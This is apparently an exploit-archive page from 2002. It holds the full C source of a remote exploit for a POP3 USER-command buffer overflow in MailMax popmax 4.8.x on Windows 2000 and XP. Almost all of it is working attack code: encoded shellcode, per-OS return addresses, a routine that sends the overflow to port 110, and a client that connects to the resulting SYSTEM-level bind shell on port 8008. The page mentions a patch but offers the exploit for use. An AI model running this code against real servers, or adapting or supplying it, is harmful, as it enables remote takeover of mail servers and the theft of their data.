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mmaxexp.c

mmaxexp.c
Posted Jul 24, 2002
Authored by 2c79cbe14ac7d0b8472d3f129fa1df55

MailMax Standard/Professional popmax v4.8.2.5 and below remote exploit. Sends a long USER string to the pop3 daemon. Tested against Windows 2000 Professional/Server and Windows XP Professional. Patch available here.

tags | exploit, remote
systems | windows
SHA-256 | 6463001871555a4dde5d4631306b9a8eea057ffea8d2462e5fd5a2f22fe762f5

mmaxexp.c

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/*
mmaxexp.c
July 20th, 2002

SmartMax MailMax Standard/Professional 4.8
http://www.smartmax.com

an overflow is present in the USER argument of
the pop3max daemon.. however, we do not get eip..
but with buffers of various sizes we can get
eax, ecx, and edx.. edx being the most useful as
shown below..

CALL [EDX+0C] @RVA413A08

so now we just need to drop the rva of our shell
that we'd like to call into memory somewhere
(-0C of course)..see CALL

YAY!@$!

2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>

/* Windows 2000 Professional/Server */
char EDX2k[] = "\x30\xd7\x68\x06";
char CALL2k[] = "\xec\xd9\x68\x06";

/* Windows XP Professional */
char EDXxp[] = "\x30\xd7\x25\x06";
char CALLxp[] = "\xec\xd9\x25\x06";

/* we repeat the payload ptr on every */
/* dword prior to our target rva in */
/* order to increase those sexy odds */

char shell[2205];

char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";

char payload[] ="\x55\x8b\xec"
"\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
"\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
"\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
"\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
"\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
"\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
"\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
"\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
"\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
"\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
"\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
"\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
"\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
"\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
"\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
"\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
"\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
"\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
"\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
"\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
"\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
"\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
"\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
"\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
"\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
"\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
"\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
"\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
"\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
"\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
"\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
"\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
"\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
"\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
"\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
"\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
"\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
"\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
"\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
"\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
"\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
"\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
"\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
"\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
"\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
"\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
"\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
"\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
"\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
"\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
"\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
"\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
"\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
"\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
"\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
"\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
"\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
"\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
"\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
"\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
"\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
"\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
"\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
"\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
"\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
"\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
"\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
"\x0d\x0a";

main(char argc, char **argv){
int fd, i, opt;
int bufsize = 1024;
int *buffer = (int *)malloc(bufsize);
struct sockaddr_in sin;
struct hostent *he;
struct in_addr in;

printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

if (argc < 4){
printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
printf("types: 0 - Windows 2000 Professional/Server\n");
printf(" 1 - Windows XP Professional\n\n");
exit(-1);
}

while ((opt = getopt(argc, argv, "t:"))){
switch(opt){
case 't':
if(optarg[0] == '0'){
strcpy(shell, header);
for(i = 1;i < 247;i++){
strcat(shell, CALL2k);
}
strcat(shell, EDX2k);
strcat(shell, payload);
break;
}

if(optarg[0] == '1'){
strcpy(shell, header);
for(i = 1; i < 247;i++){
strcat(shell, CALLxp);
}
strcat(shell, EDXxp);
strcat(shell, payload);
break;
}

printf("invalid type\n\n");
printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
printf(" 1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
exit(-1);
}
break;
}

if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}

if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
else
if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
sin.sin_port = htons(110);

printf("connecting to tcp port 110 (POP3)...\n");
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}

printf("connected.\n\n");
sleep(1);
printf("dumping payload...");
if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
printf("done\n");
printf("code dumped.\n\n");

close(fd);

if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(8008);

printf("connecting to tcp port 8008... (wait 3s)\n");
sleep(3);
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}
printf("success! izn0wnz3rat3d!\n\n");

while(1) {
fd_set input;

FD_SET(0,&input);
FD_SET(fd,&input);
if((select(fd+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("connection reset\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(fd,&input))
write(1,buffer,read(fd,buffer,bufsize));
if(FD_ISSET(0,&input))
write(fd,buffer,read(0,buffer,bufsize));
}

close(fd);

}
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